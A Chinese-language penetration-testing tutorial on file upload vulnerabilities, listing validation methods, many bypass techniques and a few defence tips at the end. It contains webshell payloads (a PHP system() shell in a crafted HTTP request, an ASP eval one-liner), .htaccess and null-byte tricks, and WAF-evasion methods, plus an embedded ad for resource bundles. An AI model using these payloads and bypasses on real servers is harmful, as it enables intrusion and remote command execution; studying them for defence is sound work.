0x01 概要说明

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞，因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易，其中有很多技巧，也有很多需要掌握的知识。俗话说，知己知彼方能百战不殆，因此想要研究怎么防护漏洞，就要了解怎么去利用。此篇文章主要分三部分：总结一些常见的上传文件校验方式，以及绕过校验的各种姿势，最后对此漏洞提几点防护建议。

0x02 文件上传校验姿势

• 客户端 javascript 校验（一般只校验后缀名）

• 服务端校验

• 文件头 content-type 字段校验（image/gif）

• 文件内容头校验（GIF89a）

• 后缀名黑名单校验

• 后缀名白名单校验

• 自定义正则校验

• WAF 设备校验（根据不同的 WAF 产品而定）

1.客户端校验

一般都是在网页上写一段 javascript 脚本，校验上传文件的后缀名，有白名单形式也有黑名单形式。　　判断方式：在浏览加载文件，但还未点击上传按钮时便弹出对话框，内容如：只允许上传.jpg/.jpeg/.png 后缀名的文件，而此时并没有发送数据包。

2.服务端校验

2.1 content-type 字段校验

这里以 PHP 代码为例，模拟 web 服务器端的校验代码

<?php if($_FILES['userfile']['type'] != "image/gif")  #这里对上传的文件类型进行判断，如果不是image/gif类型便返回错误。 { echo "Sorry, we only allow uploading GIF images"; exit;                 } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))             { echo "File is valid, and was successfully uploaded.\n";                } else { echo "File uploading failed.\n";    } ?>

可以看到代码对上传文件的文件类型进行了判断，如果不是图片类型，返回错误。

【一>所有资源获取<一】1、200 多本网络安全系列电子书（该有的都有了）2、全套工具包（最全中文版，想用哪个用哪个）3、100 份 src 源码技术文档（项目学习不停，实践得真知）4、网络安全基础入门、Linux、web 安全、攻防方面的视频（2021 最新版）5、网络安全学习路线（告别不入流的学习）6、ctf 夺旗赛解析（题目解析实战操作）

2.2 文件头校验

可以通过自己写正则匹配，判断文件头内容是否符合要求，这里举几个常见的文件头对应关系：（1） .JPEG;.JPE;.JPG，”JPGGraphic File”（2） .gif，”GIF 89A”（3） .zip，”Zip Compressed”（4） .doc;.xls;.xlt;.ppt;.apr，”MS Compound Document v1 or Lotus Approach APRfile”

0x03 文件上传绕过校验姿势

• 客户端绕过（抓包改包）

• 服务端绕过

• 文件类型

• 文件头

• 文件后缀名

• 配合文件包含漏洞绕过

• 配合服务器解析漏洞绕过

• CMS、编辑器漏洞绕过

• 配合操作系统文件命名规则绕过

• 配合其他规则绕过

• WAF 绕过

1.客户端绕过

可以利用 burp 抓包改包，先上传一个 gif 类型的木马，然后通过 burp 将其改为 asp/php/jsp 后缀名即可。

2.服务端绕过

2.1 文件类型绕过

我们可以通过抓包，将 content-type 字段改为 image/gif

POST /upload.php HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: localhostUser-Agent: libwww-perl/5.803Content-Type: multipart/form-data; boundary=xYzZYContent-Length: 155--xYzZYContent-Disposition: form-data; name="userfile"; filename="shell.php"Content-Type: image/gif (原为 Content-Type: text/plain) <?php system($_GET['command']);?> --xYzZY-

2.2 文件头绕过

在木马内容基础上再加了一些文件信息，有点像下面的结构GIF89a<?php phpinfo(); ?>

2.3 文件后缀名绕过

前提：黑名单校验黑名单检测：一般有个专门的 blacklist 文件，里面会包含常见的危险脚本文件。绕过方法：（1）找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类（2）可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类能被解析的文件扩展名列表：jsp jspx jspfasp asa cer aspxphp php php3 php4exe exee

3.配合文件包含漏洞

前提：校验规则只校验当文件后缀名为 asp/php/jsp 的文件内容是否为木马。绕过方式：（这里拿 php 为例，此漏洞主要存在于 PHP 中）（1）先上传一个内容为木马的 txt 后缀文件，因为后缀名的关系没有检验内容；（2）然后再上传一个.php 的文件，内容为<?php Include(“上传的 txt 文件路径”);?>此时，这个 php 文件就会去引用 txt 文件的内容，从而绕过校验，下面列举包含的语法：

#PHP <?php Include("上传的txt文件路径");?> #ASP <!--#include file="上传的txt文件路径" --> #JSP <jsp:inclde page="上传的txt文件路径"/> or <%@include file="上传的txt文件路径"%>

4.配合服务器解析漏洞

http://www.cnblogs.com/shellr00t/p/6426856.html

5.配合操作系统文件命令规则

（1）上传不符合 windows 文件命名规则的文件名　　test.asp.　　test.asp(空格)　　test.php:1.jpg　　test.php::$DATAshell.php::$DATA…….会被 windows 系统自动去掉不符合规则符号后面的内容。（2）linux 下后缀名大小写在 linux 下，如果上传 php 不被解析，可以试试上传 pHp 后缀的文件名。

6.CMS、编辑器漏洞

（1）CMS 漏洞：比如说 JCMS 等存在的漏洞，可以针对不同 CMS 存在的上传漏洞进行绕过。（2）编辑器漏洞：比如 FCK，ewebeditor 等，可以针对编辑器的漏洞进行绕过。

7.配合其他规则

（1）0x00 截断：基于一个组合逻辑漏洞造成的，通常存在于构造上传文件路径的时候

　　test.php(0x00).jpg　　test.php%00.jpg　　路径/upload/1.php(0x00)，文件名1.jpg，结合/upload/1.php(0x00)/1.jpg

伪代码演示：

name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)type =gettype(name)        //而在 gettype()函数里处理方式是从后往前扫描扩展名，所以判断为 jpgif(type == jpg)   SaveFileToPath(UploadPath.name, name)   //但在这里却是以 0x00 作为文件名截断//最后以 help.asp 存入路径里

（2）.htaccesss

上传当前目录的.htaccess 文件

例如内容为： AddType application/x-http-php .jpg (上传的 jpg 均以 php 执行)

把.htaccess 上传后，且上传成功后，再上传内容为一句话的 jpg 文件

8.WAF 绕过

8.1 垃圾数据

有些主机 WAF 软件为了不影响 web 服务器的性能，会对校验的用户数据设置大小上限，比如 1M。此种情况可以构造一个大文件，前面 1M 的内容为垃圾内容，后面才是真正的木马内容，便可以绕过 WAF 对文件内容的校验；

当然也可以将垃圾数据放在数据包最开头，这样便可以绕过对文件名的校验。

可以将垃圾数据加上 Content-Disposition 参数后面，参数内容过长，可能会导致 waf 检测出错。

8.2 filename

针对早期版本安全狗，可以多加一个 filename

或者将 filename 换位置，在 IIS6.0 下如果我们换一种书写方式，把 filename 放在其他地方：

8.3 POST/GET

有些 WAF 的规则是：如果数据包为 POST 类型，则校验数据包内容。此种情况可以上传一个 POST 型的数据包，抓包将 POST 改为 GET。

8.4 以上方式

针对 WAF，以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。

8.5 利用 waf 本身缺陷

删除实体里面的 Conten-Type 字段

第一种是删除 Content 整行，第二种是删除 C 后面的字符。删除掉 ontent-Type: image/jpeg 只留下 c，将.php 加 c 后面即可，但是要注意额，双引号要跟着 c.php。

正常包：Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png构造包：Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"

删除 Content-Disposition 字段里的空格

增加一个空格导致安全狗被绕过案列：

Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099尝试在boundary后面加个空格或者其他可被正常处理的字符：boundary= —————————47146314211411730218525550

修改 Content-Disposition 字段值的大小写

Boundary 边界不一致

每次文件上传时的 Boundary 边界都是一致的：

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099Content-Length: 253-----------------------------4714631421141173021852555099Content-Disposition: form-data; name="file1"; filename="shell.asp"Content-Type: application/octet-stream <%eval request("a")%> -----------------------------4714631421141173021852555099--</pre>

但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题，两段 Boundary 不一致使得 waf 认为这段数据是无意义的，可是容器并没有那么严谨：

Win2k3 + IIS6.0 + ASP

文件名处回车

多个 Content-Disposition

在 IIS 的环境下，上传文件时如果存在多个 Content-Disposition 的话，IIS 会取第一个 Content-Disposition 中的值作为接收参数，而如果 waf 只是取最后一个的话便会被绕过，Win2k8 + IIS7.0 + PHP

利用 NTFS ADS 特性

ADS 是 NTFS 磁盘格式的一个特性，用于 NTFS 交换数据流。在上传文件时，如果 waf 对请求正文的 filename 匹配不当的话可能会导致绕过

文件重命名绕过

如果 web 程序会将 filename 除了扩展名的那段重命名的话，那么还可以构造更多的点、符号等等。

特殊的长文件名绕过

文件名使用非字母数字，比如中文等最大程度的拉长，不行的话再结合一下其他的特性进行测试：

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反删除

将 file1 改成了 file4，这样就不会把这个文件删除了。（JCMS 漏洞）

文件校验的几点建议

• 文件扩展名服务端白名单校验。

• 文件内容服务端校验。

• 上传文件重命名。

• 隐藏上传文件路径。

以上几点，可以防御绝大多数上传漏洞，但是需要跟服务器容器结合起来。如果解析漏洞依然存在，那么没有绝对的安全。